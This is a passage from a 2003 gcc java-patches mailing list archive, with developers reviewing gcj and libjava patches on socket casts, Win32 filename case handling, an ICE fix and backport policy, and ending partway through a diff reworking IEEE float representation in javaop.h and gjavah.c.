GCC/GCJ 3.3 under MingW GCC 3.2. For some reason, Mohan> MSYS (the Win32 bash shell port) doesn't like the Mohan> javax/swing/plaf/metal/MetalLookAndFeel.java in the midst Mohan> of all of the javax/swing/plaf/ classes, so I moved it after these. What happens? Mysterious changes like this are hard to maintain, since we don't know what future changes might cause a similar problem. I don't mind applying a hack in some circumstances, but in we have to at least know and understand the problem. Tom From java-patches-return-6459-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 02:39:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30584 invoked by alias); 13 Mar 2003 02:39:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30460 invoked from network); 13 Mar 2003 02:39:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 13 Mar 2003 02:39:55 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA20262; Wed, 12 Mar 2003 19:39:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4031B4F8610; Wed, 12 Mar 2003 19:33:23 -0700 (MST) To: Michael Koch Cc: gnustuff@thisiscool.com, GCJ Patches Subject: Re: Patch: natSocketChannelImpl.cc use elements + explicit cast References: <200303101627.56480.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I smell a RANCID CORN DOG! Date: 12 Mar 2003 19:33:22 -0700 In-Reply-To: <200303101627.56480.konqueror@gmx.de> Message-ID: <87of4gvvv1.fsf@fleche.redhat.com> Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: >> 2003-03-07 Mohan Embar >> * gnu/java/nio/natSocketChannelImpl.cc (SocketRead): use >> elements(data) and explicitly cast to char* on platforms >> where jbyte is not signed char >> (SocketWrite): idem Michael> Looks okay. Should I commit it ? A change along these lines is definitely correct. - int result = ::send (fd, data, offset, length); + int result = + ::send (fd, reinterpret_cast(elements(data)), offset, length); + // made this char* instead of const char* because I wasn't sure + // about the API on all UNICES. Comments should come before the code they document. Also they must be full sentences and start with a capital letter. As for the cast, let's follow whatever java.net does here. (I didn't look at it.) There are some formatting bugs in SocketChannelImpl.java. Michael, make sure you have tabs set at 8 spaces -- that's the GNU standard. (It looks like you have them set at 2 spaces.) Also, I noticed randomly: shouldn't SocketChannelImpl.SocketClose set `fd = -1'? Finally, some of this code may need a going-over to make it Windows-friendly. We really should be moving the nio and java.net stuff to use natFooPosix.cc files (at least, I think that's what we agreed would be best -- isn't it?). An in-tree example will show up when I find the time to switch to the newly-merged Classpath FileDescriptor code. This is all 3.4 stuff, so it isn't anywhere near the top of my list. Tom From java-patches-return-6460-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 06:19:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13058 invoked by alias); 13 Mar 2003 06:19:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13025 invoked from network); 13 Mar 2003 06:19:32 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 13 Mar 2003 06:19:32 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2D6JVq09390 for ; Thu, 13 Mar 2003 00:19:31 -0600 From: Mohan Embar To: GCJ Patches Date: Thu, 13 Mar 2003 00:19:24 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <87smtsvwc9.fsf@fleche.redhat.com> Message-Id: <51IF2F0JEXRCAVSLKM71TGCA71NH.3e7022ec@p733> Subject: Re: Patch: Reorder a source file in Makefile.am (libjava) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Tom, >What happens? > >Mysterious changes like this are hard to maintain, since we don't know >what future changes might cause a similar problem. I don't mind >applying a hack in some circumstances, but in we have to at least know >and understand the problem. I am on the same wavelength with you as far as unexplained phenomena like this. I was too lazy to look into this and rationalized this by the fact that it's probably good practice to group same-named packages together (MetalLookAndFeel, in javax.swing.plaf.metal, is smack in the middle of a bunch of javax.swing.plaf classes.) This might be an MSYS thing because the problem didn't occur with my Linux builds. If you want me to investigate this further, I will. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6461-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 06:56:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26022 invoked by alias); 13 Mar 2003 06:56:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25987 invoked from network); 13 Mar 2003 06:56:20 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 13 Mar 2003 06:56:20 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2D6uJq13483; Thu, 13 Mar 2003 00:56:19 -0600 From: Mohan Embar To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Date: Thu, 13 Mar 2003 00:56:13 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <2VA7IG3Z041ZHCE0RNCAQNL2YYTT8.3e702b8d@p733> Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Tom, Thanks for your feedback. >My recollection, from my brief and long since past Windows experience, >is that it isn't always easy to control the case of the files you >create on a Windows box. That is, sometimes a tool will not do >exactly what you might like. On the contrary. Without getting into a religious war, I am a case fanatic and on Windows, am satisfied with the degree to which the OS accomodates me. Granted, it's case insensitive, but it is case preserving and that's the most important for me. >If that's the case... (no pun intended, I hope :) ) >(and the more Windows knowledgeable should >definitely speak to this) then it seems this approach will make things >harder for gcj users. So that's one (potential) reason to be careful >before committing to this. I disagree. See the explanation in the next section. >Another question which we have to ask is what the JDK does. Can you >find out? I mean in a clean-room way. For instance, does the JDK >require strict case conformance on Windows? It does, and this is trivial to demonstrate. I've been bitten by this many times during my Win32 Java development, which is why I feel comfortable with my approach. To verify this on Windows, save the following file: --------------------------------- 8< ------------------------------- public class ExactCase { public static void main(String[] args) { System.out.println("You're getting on my case."); } } --------------------------------- 8< ------------------------------- to "exactcase.java" (as opposed to ExactCase.java). javac will scream: --------------------------------- 8< ------------------------------- exactcase.java:1: class ExactCase is public, should be declared in a file named ExactCase.java public class ExactCase ^ 1 error --------------------------------- 8< ------------------------------- >Could you explain the mechanism of the bug a bit more? I don't >understand it, and I'd like to. gcj must make one or more incorrect >decisions that lead it astray. Where are these points? (I've seen a >lot of information about the symptoms of the bug, which is helpful, >but I want to know the cause.) The "bug" is that gcj was victimized by case sensitivity not being enforced when trying to compensate for the fact that the Java Language is not context-free. See: http://java.sun.com/docs/books/jls/second_edition/html/names.doc.html#106941 >There are a lot of changes that would need to be made to this code >(for GNU standards conformance) before it can go in. That can come >later. The crucial question here is whether you all believe this belongs in the compiler or somewhere else, as Ranjit intimated in a post to java-patches. I stand firmly behind my reasoning for putting this in the compiler, for reasons I mentioned in java-patches. I also believe I've put a mechanism in place which would allow others (Cygwin and Darwin) to benefit. Like you said, once this decision has been made, I'll gladly clean up the code and would welcome the opportunity to do things GNU way. (You're dealing with a die-hard MFC programmer who loves Microsoft's Hungarian notation, so you won't believe how much I've have to morph my code already! Okay, so now I'm unmasked. Flames to /dev/null.) -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6462-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 08:31:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 733 invoked by alias); 13 Mar 2003 08:31:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30339 invoked from network); 13 Mar 2003 08:24:10 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 13 Mar 2003 08:24:10 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-69-032.ewetel.net [80.228.69.32]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2D8O78G025886; Thu, 13 Mar 2003 09:24:08 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18tNzi-00068D-01; Thu, 13 Mar 2003 09:23:18 +0100 From: Michael Koch To: tromey@redhat.com Subject: Re: Patch: natSocketChannelImpl.cc use elements + explicit cast Date: Thu, 13 Mar 2003 09:10:14 +0100 User-Agent: KMail/1.5 References: <200303101627.56480.konqueror@gmx.de> <87of4gvvv1.fsf@fleche.redhat.com> In-Reply-To: <87of4gvvv1.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303130909.47270.konqueror@gmx.de> Cc: gnustuff@thisiscool.com, GCJ Patches Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Donnerstag, 13. M=E4rz 2003 03:33 schrieben Sie: > >>>>> "Michael" =3D=3D Michael Koch writes: > >> > >> 2003-03-07 Mohan Embar > >> * gnu/java/nio/natSocketChannelImpl.cc (SocketRead): use > >> elements(data) and explicitly cast to char* on platforms > >> where jbyte is not signed char > >> (SocketWrite): idem > > Michael> Looks okay. Should I commit it ? > > A change along these lines is definitely correct. > > - int result =3D ::send (fd, data, offset, length); > + int result =3D > + ::send (fd, reinterpret_cast(elements(data)), offset, > length); + // made this char* instead of const char* because I > wasn't sure + // about the API on all UNICES. > > Comments should come before the code they document. > Also they must be full sentences and start with a capital letter. > > As for the cast, let's follow whatever java.net does here. > (I didn't look at it.) > > > There are some formatting bugs in SocketChannelImpl.java. Michael, > make sure you have tabs set at 8 spaces -- that's the GNU standard. > (It looks like you have them set at 2 spaces.) Yeah, will change it, Unfortunatly I like 2 more then 8 ...... :( BTW: Yesterday I got flyspell fixed in XEmacs :) > Also, I noticed randomly: shouldn't SocketChannelImpl.SocketClose > set `fd =3D -1'? Yes thats right. In fact I think about replacing int fd with FileDescriptor fd. Perhaps that would be the right thing to do. > Finally, some of this code may need a going-over to make it > Windows-friendly. We really should be moving the nio and java.net > stuff to use natFooPosix.cc files (at least, I think that's what we > agreed would be best -- isn't it?). Yep, I have to submit some patches for this. > An in-tree example will show up when I find the time to switch to > the newly-merged Classpath FileDescriptor code. This is all 3.4 > stuff, so it isn't anywhere near the top of my list. That would be great. I'm currently trying to merge java.net and java.nio back into classpath. The plan is that only the native code is not merged. Perhaps even this will be possible in far future. Michael =2D -- Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+cDzmWSOgCCdjSDsRAoMOAKCbMchGBOzfCMpPAqN3X5nTIzeGugCeOBZK m9aixXyZS/ejrygd+QkZGF0=3D =3DPaJ3 =2D----END PGP SIGNATURE----- From java-patches-return-6463-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 09:52:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7693 invoked by alias); 13 Mar 2003 09:52:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6766 invoked from network); 13 Mar 2003 09:52:35 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 13 Mar 2003 09:52:35 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2D9qRX07403; Thu, 13 Mar 2003 09:52:27 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15984.21723.135580.532210@cuddles.cambridge.redhat.com> Date: Thu, 13 Mar 2003 09:52:27 +0000 (GMT) To: tromey@redhat.com Cc: Gcc Patch List , java-patches@gcc.gnu.org Subject: Patch: fix gcj ICE In-Reply-To: <87smttcv34.fsf@fleche.redhat.com> References: <87smttcv34.fsf@fleche.redhat.com> Tom Tromey writes: > This patch fixes an ICE detect by the Jacks test suite. > > Tested on x86 Red Hat Linux 7.3, including mauve and jacks. > > There's no test case since this is covered by Jacks. > You won't see an improvement in the results due to a problem in the > Jacks test harness. I'm going to find out what to do about that -- it > should never allow a SEGV when a normal compiler error is required. > > Ok for trunk? (Given that this is an ICE on illegal code only, I > don't think it is very important for 3.3.) > > Tom > > Index: gcc/java/ChangeLog > from Tom Tromey > > * parse.y (resolve_inner_class): Error if qualifier is a primitive > type. OK for trunk. Andrew. From java-patches-return-6464-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 12:50:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14125 invoked by alias); 13 Mar 2003 12:50:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14082 invoked from network); 13 Mar 2003 12:50:03 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.46) by sources.redhat.com with SMTP; 13 Mar 2003 12:50:03 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 13 Mar 2003 04:50:03 -0800 X-Originating-IP: [148.87.1.170] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <87smttcv34.fsf@fleche.redhat.com> <15984.21723.135580.532210@cuddles.cambridge.redhat.com> Subject: Re: Patch: fix gcj ICE Date: Thu, 13 Mar 2003 18:21:39 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 13 Mar 2003 12:50:03.0189 (UTC) FILETIME=[10BEA650:01C2E95F] > > Ok for trunk? (Given that this is an ICE on illegal code only, I > > don't think it is very important for 3.3.) > > > > Tom > > > > Index: gcc/java/ChangeLog > > from Tom Tromey > > > > * parse.y (resolve_inner_class): Error if qualifier is a primitive > > type. > > OK for trunk. A general question: would such patches make it to the (say) 3.3.1 release? I'm asking this because I see a few "desirable" patches being merged into the trunk but not the 3.3 branch, understandably due to its proximity to release (when?), but does the 3.3 branch have a chance of "catching up" on these ever? Or would one have to wait for a full GCC release cycle before benefitting from these? Do you (Andrew/Tom) maintain a list of patches that might be "nice" to be merged into 3.3 once it is open for the next dot-release? Ranjit. From java-patches-return-6465-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 13:51:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27633 invoked by alias); 13 Mar 2003 13:51:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27510 invoked from network); 13 Mar 2003 13:51:01 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 13 Mar 2003 13:51:01 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2DDopD07960; Thu, 13 Mar 2003 13:50:51 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15984.36027.939984.861144@cuddles.cambridge.redhat.com> Date: Thu, 13 Mar 2003 13:50:51 +0000 (GMT) To: "Ranjit Mathew" Cc: Subject: Re: Patch: fix gcj ICE In-Reply-To: References: <87smttcv34.fsf@fleche.redhat.com> <15984.21723.135580.532210@cuddles.cambridge.redhat.com> Ranjit Mathew writes: > > > Ok for trunk? (Given that this is an ICE on illegal code only, I > > > don't think it is very important for 3.3.) > > > > > > Tom > > > > > > Index: gcc/java/ChangeLog > > > from Tom Tromey > > > > > > * parse.y (resolve_inner_class): Error if qualifier is a primitive > > > type. > > > > OK for trunk. > > A general question: would such patches make it to the (say) 3.3.1 > release? I'm asking this because I see a few "desirable" patches > being merged into the trunk but not the 3.3 branch, understandably > due to its proximity to release (when?), but does the 3.3 branch > have a chance of "catching up" on these ever? No. If we do that, there will be no difference between 3.3.1 and 3.4. The rule as I understand it is this: new features go into 3.4, bug fixes into 3.3. If there is a major performance fix or particularly vital feature, it may get back ported to 3.3. Andrew. From java-patches-return-6466-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 18:33:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29415 invoked by alias); 13 Mar 2003 18:33:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29399 invoked from network); 13 Mar 2003 18:33:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 13 Mar 2003 18:33:39 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA24108; Thu, 13 Mar 2003 11:33:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1FADC4F863F; Thu, 13 Mar 2003 11:27:37 -0700 (MST) To: "Ranjit Mathew" Cc: Subject: Re: Patch: fix gcj ICE References: <87smttcv34.fsf@fleche.redhat.com> <15984.21723.135580.532210@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm EMOTIONAL now because I have MERCHANDISING CLOUT!! Date: 13 Mar 2003 11:27:36 -0700 In-Reply-To: Message-ID: <87ptovt947.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> A general question: would such patches make it to the (say) Ranjit> 3.3.1 release? This patch could be a candidate. I don't think it is really that important though (as far as I know nobody has run into this, and anyway this ICE only occurs for invalid code). I think the general rule for 3.3.x releases is bug fixes only. However there may be exceptions, like a new port. We might want to try to stay binary compatible, too. I'm not so sure. Ranjit> Do you (Andrew/Tom) maintain a list of patches that might be "nice" Ranjit> to be merged into 3.3 once it is open for the next dot-release? No, but I should. Or you could start one :-) Tom From java-patches-return-6467-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 20:01:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17681 invoked by alias); 13 Mar 2003 20:01:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17663 invoked from network); 13 Mar 2003 20:01:29 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 13 Mar 2003 20:01:29 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA15899; Thu, 13 Mar 2003 13:01:27 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3C8F64F863F; Thu, 13 Mar 2003 12:55:26 -0700 (MST) To: gnustuff@thisiscool.com Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling References: <2VA7IG3Z041ZHCE0RNCAQNL2YYTT8.3e702b8d@p733> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HUMAN REPLICAS are inserted into VATS of NUTRITIONAL YEAST... Date: 13 Mar 2003 12:55:26 -0700 In-Reply-To: <2VA7IG3Z041ZHCE0RNCAQNL2YYTT8.3e702b8d@p733> Message-ID: <878yvjt51t.fsf@fleche.redhat.com> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Embar writes: Tom> Another question which we have to ask is what the JDK does. Can you Tom> find out? I mean in a clean-room way. For instance, does the JDK Tom> require strict case conformance on Windows? Mohan> It does, and this is trivial to demonstrate. I've been bitten by this Mohan> many times during my Win32 Java development, which is why I feel Mohan> comfortable with my approach. Thanks, that's important information. I agree this approach is fine in principle. Mohan> The crucial question here is whether you all believe this Mohan> belongs in the compiler or somewhere else, as Ranjit intimated Mohan> in a post to java-patches. I stand firmly behind my reasoning Mohan> for putting this in the compiler, for reasons I mentioned in Mohan> java-patches. It is hard to imagine that this will be useful outside the gcj front end. Let's put it there unless somebody objects. Tom From java-patches-return-6468-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 20:21:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2270 invoked by alias); 13 Mar 2003 20:21:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2203 invoked from network); 13 Mar 2003 20:21:18 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 13 Mar 2003 20:21:18 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2DKL4h08583; Thu, 13 Mar 2003 20:21:04 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15984.59440.633327.515115@cuddles.cambridge.redhat.com> Date: Thu, 13 Mar 2003 20:21:04 +0000 (GMT) To: gnustuff@thisiscool.com Cc: tromey@redhat.com.gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling In-Reply-To: <878yvjt51t.fsf@fleche.redhat.com> References: <2VA7IG3Z041ZHCE0RNCAQNL2YYTT8.3e702b8d@p733> <878yvjt51t.fsf@fleche.redhat.com> Tom Tromey writes: > > It is hard to imagine that this will be useful outside the gcj front > end. Let's put it there unless somebody objects. Please fix the layout issues and rename the new file to win32-host.c. Then I'll approve it. Thanks, Andrew. From java-patches-return-6469-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 21:12:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15209 invoked by alias); 13 Mar 2003 21:12:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15090 invoked from network); 13 Mar 2003 21:12:52 -0000 Received: from unknown (HELO egil.codesourcery.com) (66.92.14.122) by sources.redhat.com with SMTP; 13 Mar 2003 21:12:52 -0000 Received: from zack by egil.codesourcery.com with local (Exim 3.36 #1 (Debian)) id 18ta0S-0003Cz-00; Thu, 13 Mar 2003 13:12:52 -0800 To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) From: Zack Weinberg Date: Thu, 13 Mar 2003 13:12:52 -0800 Message-ID: <871y1bx963.fsf@egil.codesourcery.com> User-Agent: Gnus/5.090016 (Oort Gnus v0.16) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Revised patch which generates correct hex floating constants for java.lang.Float and java.lang.Double. I was not able to incorporate Richard's suggestion to use __builtin_nan() in gcjh, because the C++ compiler currently rejects that construct. We can revisit that after the C++ compiler is fixed. I also did my best to restore output of decimal floating point in jcf-dump, however, it doesn't work; from public class test { public static final double Pi = 3.141592653589793116; // closest representable }; I get Field name:"Pi" public static final Signature: 6=double Attribute "ConstantValue", length:2, value: #8= Assistance would be appreciated. (The .class file itself, and the .h file produced by gcjh, are correct.) I'm omitting the configure changes from this message since they need no revision. zw * javaop.h (jfloat, jdouble): Make them structures mirroring the bit fields of IEEE float and double respectively. (JFLOAT_FINITE, JFLOAT_QNAN_MASK, JFLOAT_EXP_BIAS, JDOUBLE_FINITE, JDOUBLE_QNAN_MASK, JDOUBLE_EXP_BIAS): New. (union Word, union DWord): Delete. (WORD_TO_FLOAT, WORDS_TO_DOUBLE): Update to match. * gjavah.c (java_float_finite, java_double_finite, F_NAN_MASK, D_NAN_MASK): Delete. (jni_print_float, jni_print_double): New. Generate hexadecimal floating constants. (print_field_info): Use jni_print_float/double. * jcf-dump.c: Include math.h. Use ldexp/frexp to assemble finite floating point numbers for output; special case non-finite floats. =================================================================== Index: javaop.h --- javaop.h 18 Jan 2003 22:15:51 -0000 1.13 +++ javaop.h 13 Mar 2003 21:12:07 -0000 @@ -55,21 +55,26 @@ typedef int32 jint; typedef int64 jlong; typedef void* jref; -/* A 32-bit IEEE single-precision float. */ -#ifndef jfloat -#define jfloat float -#endif - -/* A 32-bit IEEE double-precision float. */ -#ifndef jdouble -#define jdouble double -#endif - -union Word { - jint i; - jfloat f; - void *p; -}; +/* A 32-bit big-endian IEEE single-precision float. */ +typedef struct _jfloat { + unsigned int negative : 1; + unsigned int exponent : 8; + unsigned int mantissa : 23; +} jfloat; +#define JFLOAT_FINITE(f) ((f).exponent != 0xFF) +#define JFLOAT_QNAN_MASK 0x400000 +#define JFLOAT_EXP_BIAS 0x7f + +/* A 32-bit big-endian IEEE double-precision float. */ +typedef struct _jdouble { + unsigned int negative : 1; + unsigned int exponent : 11; + unsigned int mantissa0: 20; + unsigned int mantissa1: 32; +} jdouble; +#define JDOUBLE_FINITE(f) ((f).exponent != 0x7FF) +#define JDOUBLE_QNAN_MASK 0x80000 /* apply to mantissa0 */ +#define JDOUBLE_EXP_BIAS 0x3ff /* A jword is an unsigned integral type big enough for a 32-bit jint or jfloat *or* a pointer. It is the type appropriate for stack @@ -102,9 +107,14 @@ union Word { static inline jfloat WORD_TO_FLOAT(jword w) -{ union Word wu; - wu.i = w; - return wu.f; +{ + jfloat f; + + f.negative = (w & 0x80000000) >> 31; + f.exponent = (w & 0x7f800000) >> 23; + f.mantissa = (w & 0x007fffff); + + return f; } /* Sign extend w. If the host on which this cross-compiler runs uses @@ -126,21 +136,17 @@ WORDS_TO_LONG(jword hi, jword lo) return ((jlong) hi << 32) | ((jlong)lo & (((jlong)1 << 32) -1)); } -union DWord { - jdouble d; - jlong l; - jword w[2]; -}; - static inline jdouble WORDS_TO_DOUBLE(jword hi, jword lo) -{ union DWord wu; -#if (1 == HOST_FLOAT_WORDS_BIG_ENDIAN) - wu.l = WORDS_TO_LONG(lo, hi); -#else - wu.l = WORDS_TO_LONG(hi, lo); -#endif - return wu.d; +{ + jdouble d; + + d.negative = (hi & 0x80000000) >> 31; + d.exponent = (hi & 0x7ff00000) >> 20; + d.mantissa0 = (hi & 0x000fffff); + d.mantissa1 = lo; + + return d; } /* If PREFIX_CHAR is the first character of the Utf8 encoding of a character, =================================================================== Index: gjavah.c --- gjavah.c 12 Mar 2003 16:14:01 -0000 1.105 +++ gjavah.c 13 Mar 2003 21:07:09 -0000 @@ -134,8 +134,6 @@ static void print_full_cxx_name (FILE*, static void decompile_method (FILE*, JCF*, int); static void add_class_decl (FILE*, JCF*, JCF_u2); -static int java_float_finite (jfloat); -static int java_double_finite (jdouble); static void print_name (FILE *, JCF *, int); static void print_base_classname (FILE *, JCF *, int); static int utf8_cmp (const unsigned char *, int, const char *); @@ -158,6 +156,8 @@ static void version (void) ATTRIBUTE_NOR static int overloaded_jni_method_exists_p (const unsigned char *, int, const char *, int); static void jni_print_char (FILE *, int); +static void jni_print_float (FILE *, jfloat); +static void jni_print_double (FILE *, jdouble); static void decompile_return_statement (FILE *, JCF *, int, int, int); JCF_u2 current_field_name; @@ -247,36 +247,54 @@ static int decompiled = 0; #include "jcf-reader.c" -/* Some useful constants. */ -#define F_NAN_MASK 0x7f800000 